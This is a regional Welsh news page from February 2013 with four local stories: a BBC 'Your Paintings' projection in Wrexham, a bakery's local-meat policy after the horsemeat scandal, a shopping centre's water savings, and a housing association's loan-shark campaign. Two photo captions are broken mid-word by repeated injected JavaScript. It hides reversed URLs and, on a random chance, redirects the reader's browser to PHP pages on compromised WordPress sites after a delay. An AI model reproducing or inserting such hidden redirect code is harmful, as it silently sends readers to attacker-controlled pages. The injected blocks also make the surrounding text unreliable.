Category: News

Spectacular light show project transforms Wrexham shopping centre

Projected art works on Eagles Meadow, Wrexham. Nigel and Angela Hughes with their children Elen, 16 and Lewis, 8.

A shopping centre was transformed into a massive canvas for some of the world’s greatest works of art.

The Eagles Meadow shopping centre in Wrexham was chosen as just one of 28 iconic locations across the UK as part of the Your Paintings project.

Your Paintings is a website showing the entire UK national collection of more than 210,000 oil paintings.

Images of the many publicly owned artworks were simultaneously projected onto UK buildings and landmarks.

Other locations includeed Exeter Cathedral, Liverpool’s St George’s Dock, Northern and Ireland’s Carrickfergus Castle.

The projection showed four paintings of huge national interest ranging from Vincent Van Gogh’s instantly recognisable Sunflowers in the National Gallery to lesser known works depicting life in the UK such as The Clay Pits, 1923 by Cornish painter Harold C. Harvey.

Each spectacular light show included three art works from the region in which they were shown including, at Eagles Meadow, artwork for a British Railways poster of Cardiff Castle, 1960 by Ronald George Lampitt.

The projections mark the start of a month of exhibitions and events organised by the BBC and the Public Catalogue Foundation to celebrate the completion of Your Paintings, a website showing the entire UK national collection of oil paintings: bbc.co.uk/yourpaintings

Hundreds of oil paintings, which have not been seen by the public in generations, have now gone go on show at galleries, museums and civic buildings across the UK until February 28.

The show at Eagles Meadow was given the seal of approval by members of the public.

Musician, Laura Dickinson, 33, a member of the popular Wrexham band and community choir, Heal the Last Stand, supports anything that adds to the town’s rich and diverse culture.

She said: “The projection is fascinating and a great idea. It certainly made me stop and want to learn more about the website. It’s a great idea and wonderful to see Wrexham’s Eagles Meadow chosen alongside other major locations for the launch of something so big.

“It can only help put the town on the map. I’ll certainly be taking a look at the bbc.co.uk/yourpaintings website.”

Wrexham couple Nigel and Angela Hughes and their children, Elen, 16 and Lewis, eight, stopped to take a look at the projection as they made their way to an Eagles Meadow restaurant for a family meal.

Nigel Hughes said: “It’s good to see something different and I am glad to hear that Wrexham was chosen as one of the locations for the projection.”

Andrew Ellis from the Public Catalogue Foundation (PCF) said: “No other country has ever embarked on such a project to make accessible online its entire collection of oil paintings.

“The result is an extraordinary rich and varied virtual gallery of paintings with styles and subject matters to suit all tastes and interests. Anyone can now contribute to the project by tagging paintings so the paintings can be searched in future. Tagging is easy, fun and really quite addictive!’

Saul Nassé, Controller BBC Learning said: “The idea we could put on virtual display all the UK’s paintings was madly ambitious, but thanks to a brilliant partnership with the PCF, we’ve realised that ambition.

“Your Paintings is a thing of beauty and I’m hoping the events we’re rolling out right across the country are going to inspire thousands more people to learn about these wonderful paintings.”

Eagles Meadow Manager, Kevin Critchley was delighted to welcome the BBC’s projection team to the site.

He said: “The whole idea of the bbc.co.uk/yourpaintings website is wonderful and we were delighted that Eagles meadow was chosen as the location for one of the projections alongside so many illustrious and iconic locations around the UK.

“I am also thrilled our shoppers and visitors had the opportunity to witness the projections and learn a little about the nation’s collection of oil paintings.”

To see and tag Your Paintings and find out more about visiting participating galleries, museums and public buildings, visit: bbc.co.uk/yourpaintings

Monday February 18th, 2013

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Welsh food producers urged to buy local after horsemeat scandal

Robin Jones, Managing Direc$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor of Village Bakery with some of his staff with the locally sourced meat that goes in$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to their products. From left, Kerry Wilson. pie room production manager, Neal Hughes, cook room supervisor and Wioleta Mojzuk with Robin.

A food ambassador is urging Welsh companies to buy local in the wake of the horsemeat scandal.

The plea has come from Robin Jones, the current True Taste Champion of Wales, who is also Managing Director of the award winning Village Bakery.

He revealed the Village Bakery is putting up posters in all its shops – in Wrexham, Rhos, Llangollen, Hollywell and Ruthin – to highlight that they use only locally sourced meat in their pies.

The boss of the family firm says it’s vitally important to reassure their customers in the wake of the negative headlines spreading across Europe.

Mr Jones said: “We are extremely proud of our local sourcing policy that’s been in place for many years.

“We know exactly where our meat comes from every week and we can name the individual farms in the Vale of Clwyd and the Conwy Valley who supplied us this week.

“We don’t buy mince or re-conformed beef. We buy proper cuts and do all the butchering ourselves so that we can be sure exactly what we’re getting and that the quality is 100 per cent right.

“We guard our reputation jealously and this is the only way that we can maintain our high standards

“I suspect many other companies will be looking to source their meat locally in future as a result of the news about horsemeat being found in beef products.

“We have always fully understood the importance of provenance and traceability to our customers and to our business.

“We pay a premium for our meat because we want our customers to have the best quality possible. For us quality is king.

“Given the current headlines, we felt it was important to remind and reassure our customers that our pies contain 100 per cent quality meat.

“Traceability has never been more important than it is today and I would urge Welsh food companies to buy local produce as ingredients whenever they can.”

Mr Jones is one of the most respected figures in the UK food industry and in 2010 was named as British Baker of the Year at the Baking Industry Awards.

The Village Bakery makes premium breads, morning goods, savouries and bespoke products for major supermarket chains and their own shops and cafes.

The main bakery is in Minera and in 2008 they opened the most modern gluten-free bakery in Europe as part of a deal with the Swiss giant, the Hero Group.

The £3 million state-of-the art Village Bakery (Nutrition) Ltd on Wrexham Industrial Estate was officially opened by the then First Minister of Wales, Rhodri Morgan AM.

Then just over a year ago the company invested £7 million in the third bakery when they took over a 30,000 sq ft unit next door to the gluten-free bakery.

Originally, the aim was to employ 30 people but in the event we’ve recruited more than 40, taking the total workforce over the 250 mark.

Mr Jones added: “When I bring major retailers into the business, they know that the traditional craft skills are at the core of our business. It shines through and it sells the product to them. We’re not just selling them a pie or a sausage roll, we’re selling them the story of the Village Bakery and our craft tradition and culture.

“We produce a product that’s local, it’s manufactured in Wales – and our local sourcing policy means we’re also benefitting our suppliers.

“That means we can cut back on the food miles while helping to boost the local economy at the same time.

“Buying local makes so much more sense – whichever way you look at it.”

Monday February 18th, 2013

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Wrexham shopping centre reduces water usage by 1.8 million litres

Kevin Critchley, Eagles Meadow, Wrexham saves water.

A shopping centre hailed as the greenest in Wales is celebrating more eco success after reducing its water consumption by 1.8 million litres.

After a major campaign last year, Eagles Meadow in Wrexham now uses 35 per cent less water  and 11 per cent less electricity.

The shopping centre already recycles 92 per cent of the waste produced there – that’s way ahead of the Welsh Government’s recycling targets.

The Government’s statutory target is to recycle 52 per cent of Welsh waste this year, 70 per cent by 2025 and to have zero waste by 2050.

The efforts of the Eagles Meadow team were praised by local AM Lesley Griffiths, who is also the Welsh Government Health Minister.

She said: “It’s really important that we recycle waste and conserve our precious resources.

“We want to make sure that we leave a viable planet for future generations so we really do need to act now.

“Eagles Meadow’s green credentials are impressive. It is really excellent that they have reduced electricity and water consumption so spectacularly on top of recycling more than 90 per cent of their waste.”

Eagles Meadow Manager Kevin Critchley is extremely proud of their record but says they aren’t resting on their laurels.

Mr Critchley said: “We believe we may well be the greenest shopping centre in Wales.

“Improving our green credentials and upping our game in terms of being eco-friendly is a major part of my job and one we take very seriously at Eagles Meadow.

“The figures we’ve just collated show we used 35 per cent less water last year than we did the previous year – that equates to 1.8 million litres of water saved. On top of that we cut back on electricity consumption by 11 per cent.

“The reduction was achieved through a number of common sense measures. It was by cleaning and security staff being aware and reporting any waste. Things like leaking taps and toilets where the valve’s gone so it’s constantly cycling.

“The trick is to get them to look for it, to get them involved so they report it and then we quickly get it fixed.

“We’ve got some fantastic people working here who are really committed to Eagles Meadow. All the small savings have combined to make a great big impact.

“We recycle 100 per cent of our cardboard and glass and I’m now looking at ways of upping the percentage of the compacted waste that’s being recycled.

“To put it in some sort of perspective, our recycling percentage in 2010 was 84 per cent and that’s from almost zero from when I arrived here in 2009.

“It’s a superb performance, and I’m rightly proud of the efforts we’ve made and the work that the staff and the contractor have put into it.

“Fortunately, we’re backed up by an owner who’s got a very green policy and has provided fantastic support.”

Tuesday February 12th, 2013

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Conwy biting back at loan sharks

Catrefi Conwy sponsors of Shelter Cymru event held at Glasdir, Llanwrst. Pictured is Ryan Evans, Wales Illegal money lending team, Gwynne Jones, Direc$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor of Operations at Catrefi Conwy and Janet Loudon, Shelter Cymru.

A housing association has launched a campaign to combat loan sharks who charge up to 3,000 per cent interest.

Cartrefi Conwy say that vulnerable tenants can fall prey to unscrupulous money lenders.

Their plight was highlighted at a conference at the Glasdir centre, in Llanrwst.

The event was organised by Shelter Cymru and sponsored by Cartrefi Conwy.

The conference heard that many people are struggling to pay off Christmas debts.

As a result  loan sharks ar circling, ready to pounce and plunge tenants into ever-increasing levels of debt.

In one case, a money lender was charging 3,000 per cent interest.

Cartrefi Conwy Operations Director Gwynne Jones is aware some tenants had fallen into debt and were now in danger of falling seriously behind with rent payments.

He said: “Unfortunately we increasingly find that some tenants pay for Christmas by excessive borrowing on credit cards and bank loans. The problem then is what these tenants do when that credit is no longer available.

“High levels of personal debt are a major concern and I think we can expect to see even more people fall into debt as changes to the benefit system means some tenants will have even less income available to buy food, pay domestic fuel bills and their rents.

“It is then that loan sharks can move in to prey on these vulnerable people. And of course, once they agree to a loan the interest rates charged are so extortionate they are often repaying the loan for years.

“We have been aware of this problem for some time and we already do a great deal to highlight the pitfalls of borrowing money from loan sharks and in signposting tenants to secure and safe organisations in applying for bank accounts, insurance and sources of credit.”

He added: “I’m delighted Cartrefi Conwy has sponsored this Shelter Cymru conference which is looking at a number of issues from loan sharks to the changes in housing benefit.

“It is important we, at Cartrefi Conwy, work with our tenants and other agencies to work out how we can best help. It is vital tenants have the right information and know where to get help should they need it.

“I’m also determined that we will not allow loan sharks and illegal money lenders to prey on our tenants. And we will bite back should loan sharks move onto any of our estates.”

Ryan Evans, Client Liaison Officer from the Wales Illegal Money Lending Unit, told delegates it was vital they learn how to identify the signs of illegal money lending and help the Unit tackle the growing problem within communities.

He said: “The term loan shark applies to anyone who is lending money without having a license which is a requirement of the Consumer Credit Act 1974. Licenses are only issued to individuals or companies whom are judged to be fit and proper people.

“It is estimated as many as 200,000 UK households use loan sharks with most living in deprived areas.

“Research shows that victims are most likely female, aged 30-40, living on welfare benefits and in social housing. However, there is a trend emerging of self-employed people turning to loan sharks as they are unable to get credit elsewhere.

“Our research also shows that most of those who used loan sharks, 90%, had found it impossible to raise the £200-£300 they needed for an emergency. Most loans are needed urgently because of a distressful situation while as much as a quarter of the loans were for everyday expenses and a quarter to pay for Christmas.

“The problem is once a loan is taken out with a loan shark it is very difficult to pay it back as the interest charged is so excessive and the ‘penalties’
imposed for any missed payments can be huge.

“Vulnerable people are left in a situation of falling further and further into debt and facing threats of violence and intimidation from the loan sharks who lent them the money in the first place.”

However, Ryan Evans outlined to delegates the success the Wales Illegal Money Lending Team had enjoyed.

He said: “More than 2,000 illegal lenders have been identified and more than 525 have been arrested. We have managed to write off more than £38m of illegal debt and helped more than 18,000 victims.

“And we have seized and confiscated £1.3m in cash sending offenders to prison having secured prison sentences of over 128 years. Remember, loan shark debts are not enforceable and by taking action against loan sharks we can, in the long term, reduce rent arrears, evictions and homelessness.”

He added: “I would encourage any victim of a loan shark to call our dedicated hot line number and pass on any information they have, anonymously if necessary.

“It is also important to raise awareness of the Stop Loan Sharks Project in communities. Together we can put loan sharks out of business.”

Shelter Cymru National Operations Manager, Janet Loudon, says tenants and vulnerable people needed protection for loan sharks.

She said: “It is encouraging that the Wales Illegal Money Lending Team are successfully tracking down and prosecuting illegal money lenders despite the activities of loan sharks being notoriously well hidden.

“The quality of life of many victims is poor and they are trapped in a payment cycle, both illegal and legal, from which there appears no escape. Many are desperate for help but feel unable to shout out with fear and reprisal top of the list of why they don’t come forward.”

She added: “We have to work together and ensure tenants and illegal money lending victims can see past the intimidation and threats of those the loan sharks and get the help and advice they need.”

Cartrefi Conwy tenants wanting advice should contact them by ringing 01492 805625 or emailing to:lisa.jones@cartreficonwy">lisa.jones@cartreficonwy.org The Wales Illegal Money Lending Team can be contacted on 02920 871093. If you have information about a loan shark operating in your community call the Hotline on 0300 123 33 11.

Monday February 11th, 2013

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